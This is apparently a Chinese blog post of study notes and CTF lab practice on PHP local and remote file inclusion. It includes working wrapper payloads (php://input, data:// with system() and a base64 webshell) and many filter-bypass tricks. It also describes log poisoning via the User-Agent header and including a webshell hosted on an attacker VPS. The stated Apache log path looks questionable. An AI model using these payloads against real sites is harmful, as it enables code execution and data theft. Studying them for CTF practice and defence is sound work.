记录一次文件包含的学习以及实战演练

本文最后更新于 2026年4月11日 下午

开篇(部分来源于PHP 文件包含功能的利用与绕过策略全解析 - yuccun’s blog)

首先了解php两种文件包含的形式:
require()和include()

require函数:找不到被包含的文件会产生致命错误,并停止脚本运行

而include函数只能输出报错信息

方法1:本地文件包含(LFI) 远程文件包含(RFI) 伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
--最经典的读文件filter
php://filter/read=convert.base64-encode/resource=文件

--任意代码执行(POST数据执行)
url?file=php://input
# POST传参
<?php phpinfo();?>

--访问各类data
?file=data://text/plain;base64,YWlseDEwCg==
?file=data://text/plain,<?=system('命令');?>
?file=data://,<?=system('命令');?>
?file=data://;base64,PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOz8%2B&a=命令

--zip协议打包任意文件下载
file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

绕过

URL过滤绕过
  • 域名/ip被过滤

    1. 大小写绕过(域名对大小写不敏感)
    2. 将自己的域名解析到 特定IP地址 并访问
    3. 使用hex百分号编码 yuccun.cn->%79%75%63%63%75%6e%2e%63%6e
      (注:协议的一部分不能用hex编码,如http://以及之后的/?)
    4. 使用IP(十进制 八进制 十六进制) 注:不同进制可以混用(只要用点号隔开)
      https://www.metools.info/other/ipconvert162.html
      https://www.xuhuhu.com/ip-to-octal-converter.html
    5. 删除/增加ip中最前面的0
      如 127.0.0.1 -> 127.000.000.001 -> 127.000.0.01
    6. 将点号换为句号
  • http过滤: 使用//替代 (html标签中用//可以代替http://)
    若要求使用http://但想使用js伪协议,可将http://放最后然后用//注释掉
    注:html中默认使用file://协议,所以要跳转网页必须加上http://等

  • /过滤: 使用\ (//则使用\)
    但是要注意在windows下\本身就有特殊用途,是一个path 的写法,
    所以\在Windows下是file协议,在linux下才会是当前域的协议

  • 点过滤: 使用中文句号代替点号 浏览器会自动转换

  • localhost/127.0.0.1过滤

    1. 将自己的域名解析到127.0.0.1并访问
    2. 利用简写127.1 或全写 127.000.000.001等(任意删0增0)
    3. 使用0.0.0.0 或其简写 0(在linux会被解析为127.0.0.1,windows无效)
    4. 利用hex百分号编码, 或十进制2130706433 八进制0177.0.0.1 十六进制0x7f.0.0.1 0x7F000001
    5. 将点号换为句号
  • 文件名被过滤

    1. 切换为 绝对路径(/var/www/html/flag) 或 相对路径(flag 或 ./flag)
  • http/https前拼接绕过
    方式: 首位加上@, 然后加上想要访问的域名
    原理: http/https协议在 域名中若有@符号,则@符号前的信息会被当成用户名,其后的才会被当作域名解析

    PHP标签绕过
  • <?php ?> 替换为 <?= ?>(php>5.4) 或 <? ?>(php.ini中short_open_tag选项开启)

  • <% %>(php<7.0, php.ini中asp_tags选项开启, 默认关闭)

  • <script language="php"> </script> (php<7.0)

file://只能以字母开头
  • 使用localhost再加上文件的路径
必须包含特殊字符
  • 将特殊字符当成一个目录进行目录穿越 如include flag/../index.html, 其中flag会被当成一个文件夹, 且flag文件无需存在, 也可以使用php://filter, 在resource中目录穿越
拼接绕过
  • 使用data://协议, 将后续拼接内容当成文件内容, 但include(data://) 只执行<?php ?>内的内容
  • %00截断(php版本小于5.3.29

实战

好靶场刷题:apache服务器日志包含泄露: 你所有的请求都被我Apache记录下来了http://www.loveli.com.cn/see_bug_one?id=395

首先要知道apache服务器的访问日志储存地址在/var/tmp/log/apache2(或3)/access.log

然后访问时可以进行U-A头注入php代码外带出服务器内文件

1
<?php echo file_get_contents("/tmp/flag.txt");?>

好靶场刷题:我有一计,http

这题主要考察http协议

总结下来就一句话:在自己的vps上写🐎,然后输入http://IP/1.php即可


记录一次文件包含的学习以及实战演练
https://azumisaki.github.io/2026/04/11/include/
作者
AzumiSaki
发布于
2026年4月11日
许可协议